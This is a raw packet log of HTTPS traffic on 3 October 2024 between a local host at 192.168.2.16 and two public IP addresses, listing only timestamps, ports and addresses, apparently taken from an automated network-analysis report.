Oct 3, 2024 18:19:51.280889988 CEST	443	49842	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.281235933 CEST	49842	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.281296968 CEST	443	49842	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.282433987 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.282526970 CEST	443	49842	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.282624960 CEST	49839	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.282685995 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.282979012 CEST	49842	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.282979965 CEST	49842	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.283207893 CEST	443	49842	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.284246922 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.284522057 CEST	49839	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.284611940 CEST	49839	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.284622908 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.284729958 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.285509109 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.285695076 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.285732985 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.287199020 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.287480116 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.287555933 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.287674904 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.300661087 CEST	443	49841	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.301019907 CEST	49841	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.301079988 CEST	443	49841	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.302542925 CEST	443	49841	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.302917957 CEST	49841	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.302917957 CEST	49841	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.303009987 CEST	443	49841	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.303447008 CEST	443	49841	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.315078974 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.315182924 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.315186024 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.315251112 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.315324068 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.315340996 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.315463066 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.315551996 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.315640926 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.315699100 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.315700054 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.315723896 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.315754890 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.315808058 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.315849066 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.315992117 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.316050053 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.316107988 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.316145897 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.320513964 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.320605040 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.320717096 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.320924044 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.320947886 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.326026917 CEST	49839	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.326128006 CEST	49842	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.330857038 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.330928087 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.330967903 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.331008911 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.331043005 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.331067085 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.333664894 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.333728075 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.333750963 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.333765984 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.333810091 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.333810091 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.334888935 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.334952116 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.335026979 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.335026979 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.335042000 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.335066080 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.335093021 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.335104942 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.335136890 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.335139036 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.335154057 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.335171938 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.335196018 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.335220098 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.335334063 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.335376978 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.335445881 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.335445881 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.335460901 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.335517883 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.335813046 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.335867882 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.335911989 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.335928917 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.335953951 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.335997105 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.336869955 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.336925983 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.336971045 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.336983919 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.337007999 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.337043047 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.337316036 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.337366104 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.337413073 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.337430000 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.337452888 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.337490082 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.338155031 CEST	443	49844	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.338340044 CEST	49844	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.338372946 CEST	443	49844	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.339791059 CEST	443	49844	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.339859009 CEST	49844	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.340085030 CEST	49844	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.340168953 CEST	49844	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.340169907 CEST	443	49844	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.342005968 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.358119965 CEST	49841	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.358594894 CEST	443	49843	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.358782053 CEST	49843	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.358812094 CEST	443	49843	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.362353086 CEST	443	49843	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.362472057 CEST	49843	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.362689018 CEST	49843	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.362759113 CEST	49843	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.362772942 CEST	443	49843	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.362898111 CEST	443	49843	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.383481979 CEST	443	49844	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.390115023 CEST	49844	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.390151024 CEST	443	49844	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.406013966 CEST	49843	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.406039953 CEST	443	49843	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.424005985 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.424072981 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.424101114 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.424123049 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.424154997 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.424176931 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.426681995 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.426748991 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.426790953 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.426808119 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.426836014 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.426861048 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.426922083 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.426930904 CEST	443	49842	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.426968098 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.427009106 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.427026987 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.427047968 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.427068949 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.427110910 CEST	443	49842	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.427197933 CEST	443	49842	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.427269936 CEST	443	49842	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.427340031 CEST	443	49842	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.427361965 CEST	49842	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.427362919 CEST	49842	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.427457094 CEST	443	49842	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.427532911 CEST	49842	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.427551031 CEST	443	49842	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.427607059 CEST	443	49842	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.427651882 CEST	49842	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.427812099 CEST	49842	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.427839041 CEST	443	49842	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.428273916 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.428404093 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.428426981 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.428462029 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.428467035 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.428474903 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.428504944 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.428541899 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.428551912 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.428572893 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.428600073 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.428601027 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.428603888 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.428603888 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.428603888 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.428631067 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.428659916 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.428659916 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.428678036 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.428699017 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.428703070 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.428711891 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.428725958 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.428725958 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.428736925 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.428744078 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.428766966 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.428791046 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.428791046 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.428796053 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.428811073 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.428822041 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.428837061 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.428853035 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.428873062 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.428881884 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.428908110 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.428925037 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.428939104 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.429006100 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.429020882 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.429267883 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.429300070 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.429333925 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.429347038 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.429372072 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.429393053 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.431238890 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.431293011 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.431334972 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.431360960 CEST	49839	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.431392908 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.431433916 CEST	49839	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.431442976 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.431473017 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.431512117 CEST	49839	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.431520939 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.431566000 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.431600094 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.431607962 CEST	49839	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.431617022 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.431657076 CEST	49839	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.431704044 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.432440042 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.432488918 CEST	49839	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.432554007 CEST	49839	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.432568073 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.433262110 CEST	443	49841	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.433392048 CEST	443	49841	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.433495045 CEST	49841	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.433521986 CEST	443	49841	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.433603048 CEST	443	49841	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.433659077 CEST	49841	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.433672905 CEST	443	49841	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.433804989 CEST	443	49841	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.433856964 CEST	49841	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.434283018 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.434351921 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.434365988 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.434545994 CEST	49848	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.434629917 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.434720039 CEST	49848	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.435120106 CEST	49841	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.435141087 CEST	443	49841	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.435178041 CEST	49848	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.435260057 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.437172890 CEST	49849	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.437192917 CEST	443	49849	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.437261105 CEST	49849	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.437448978 CEST	49849	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.437458038 CEST	443	49849	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.438077927 CEST	49844	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.454010963 CEST	49843	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.477225065 CEST	443	49844	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.477339983 CEST	443	49844	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.477418900 CEST	443	49844	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.477433920 CEST	49844	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.477498055 CEST	443	49844	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.477565050 CEST	49844	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.477582932 CEST	443	49844	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.477705002 CEST	443	49844	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.477762938 CEST	49844	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.477885962 CEST	49844	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.477911949 CEST	443	49844	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.486007929 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.509521961 CEST	443	49843	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.510026932 CEST	443	49843	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.510092020 CEST	49843	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.510286093 CEST	49843	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.510310888 CEST	443	49843	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.512763023 CEST	49850	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.512846947 CEST	443	49850	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.512938976 CEST	49850	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.513098955 CEST	49850	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.513128042 CEST	443	49850	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.516197920 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.516236067 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.516282082 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.516298056 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.516324997 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.516345978 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.516532898 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.516750097 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.516801119 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.516815901 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.516911030 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.516963005 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.516978025 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.517144918 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.517196894 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.517210960 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.517303944 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.517386913 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.517415047 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.517431021 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.517487049 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.518050909 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.518358946 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.518423080 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.518435001 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.518527031 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.518579006 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.518593073 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.518872976 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.518897057 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.518940926 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.518953085 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.518982887 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.519011021 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.519174099 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.519237041 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.519249916 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.519352913 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.519438028 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.519450903 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.519540071 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.519588947 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.519601107 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.519926071 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.519958973 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.520032883 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.520045996 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.520102024 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.520282984 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.520307064 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.520342112 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.520354986 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.520381927 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.520402908 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.521002054 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.521025896 CEST	443	49829	172.67.185.164	192.168.2.16
